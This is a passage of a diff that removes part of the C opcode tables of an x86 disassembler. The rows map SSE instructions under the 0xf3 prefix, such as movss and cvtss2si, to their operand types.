- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xdc
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xdd
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xde
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xdf
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe0
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe1
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe2
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe3
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe4
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe5
- { INSTRUCTION_TYPE_SSE, "cvtpd2dq", AM_V|OT_dq, AM_W|OT_pd, FLAGS_NONE, 1 }, // 0xe6
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe7
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe8
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe9
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xea
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xeb
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xec
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xed
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xee
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xef
- { INSTRUCTION_TYPE_SSE, "lddqu", AM_V|OT_dq, AM_M|OT_dq, FLAGS_NONE, 1 }, // 0xf0
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf1
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf2
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf3
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf4
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf5
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf6
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf7
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf8
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf9
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfa
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfb
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfc
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfd
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xfe
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xff
-};
-
-// 3-byte instructions, prefix 0xf3
-
-INST inst_table3_f3[256] = {
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x0
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x2
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x5
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xc
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xd
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xe
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xf
- { INSTRUCTION_TYPE_SSE, "movss", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x10
- { INSTRUCTION_TYPE_SSE, "movss", AM_W|OT_ss, AM_V|OT_ss, FLAGS_NONE, 1 }, // 0x11
- { INSTRUCTION_TYPE_SSE, "movsldup", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0x12
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x13
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x14
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x15
- { INSTRUCTION_TYPE_SSE, "movshdup", AM_V|OT_ps, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0x16
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x17
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x18
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x19
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1a
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1b
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1c
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1d
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1e
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x1f
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x20
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x21
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x22
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x23
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x24
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x25
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x26
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x27
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x28
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x29
- { INSTRUCTION_TYPE_SSE, "cvtsi2ss", AM_V|OT_ss, AM_E|OT_d, FLAGS_NONE, 1 }, // 0x2a
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x2b
- { INSTRUCTION_TYPE_SSE, "cvttss2si",AM_G|OT_d, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x2c
- { INSTRUCTION_TYPE_SSE, "cvtss2si", AM_G|OT_d, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x2d
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x2e
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x2f
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x30
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x31
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x32
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x33
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x34
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x35
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x36
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x37
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x38
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x39
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3a
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3b
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3c
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3d
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3e
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x3f
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x40
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x41
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x42
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x43
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x44
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x45
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x46
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x47
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x48
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x49
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4a
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4b
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4c
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4d
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4e
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x4f
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x50
- { INSTRUCTION_TYPE_SSE, "sqrtss", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x51
- { INSTRUCTION_TYPE_SSE, "rsqrtss", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x52
- { INSTRUCTION_TYPE_SSE, "rcpss", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x53
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x54
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x55
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x56
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x57
- { INSTRUCTION_TYPE_SSE, "addss", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x58
- { INSTRUCTION_TYPE_SSE, "mulss", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x59
- { INSTRUCTION_TYPE_SSE, "cvtsd2sd", AM_V|OT_sd, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x5a
- { INSTRUCTION_TYPE_SSE, "cvttps2dq",AM_V|OT_dq, AM_W|OT_ps, FLAGS_NONE, 1 }, // 0x5b
- { INSTRUCTION_TYPE_SSE, "subss", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x5c
- { INSTRUCTION_TYPE_SSE, "minss", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x5d
- { INSTRUCTION_TYPE_SSE, "divss", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x5e
- { INSTRUCTION_TYPE_SSE, "maxss", AM_V|OT_ss, AM_W|OT_ss, FLAGS_NONE, 1 }, // 0x5f
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x60
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x61
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x62
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x63
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x64
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x65
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x66
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x67
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x68
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x69
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6a
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6b
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6c
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6d
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x6e
- { INSTRUCTION_TYPE_SSE, "movdqu", AM_V|OT_dq, AM_W|OT_dq, AM_I|OT_b, 1 }, // 0x6f
- { INSTRUCTION_TYPE_SSE, "pshufhw", AM_V|OT_dq, AM_W|OT_dq, AM_I|OT_b, 1 }, // 0x70
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x71
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x72
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x73
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x74
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x75
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x76
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x77
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x78
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x79
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7a
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7b
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7c
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x7d
- { INSTRUCTION_TYPE_SSE, "movq", AM_V|OT_q, AM_W|OT_q, FLAGS_NONE, 1 }, // 0x7e
- { INSTRUCTION_TYPE_SSE, "movdqu", AM_V|OT_dq, AM_W|OT_dq, FLAGS_NONE, 1 }, // 0x7f
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x80
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x81
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x82
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x83
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x84
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x85
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x86
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x87
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x88
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x89
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8a
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8b
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8c
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8d
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8e
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x8f
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x90
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x91
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x92
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x93
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x94
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x95
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x96
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x97
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x98
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x99
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9a
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9b
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9c
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9d
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9e
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0x9f
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa0
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa1
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa2
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa3
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa4
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa5
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa6
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa7
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa8
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xa9
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xaa
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xab
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xac
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xad
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xae
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xaf
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb0
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb1
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb2
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb3
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb4
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb5
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb6
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb7
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb8
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xb9
- { INSTRUCTION_TYPE_OTHER, NULL, FLAGS_NONE, FLAGS_NONE, FLAGS_NONE, 0 }, // 0xba
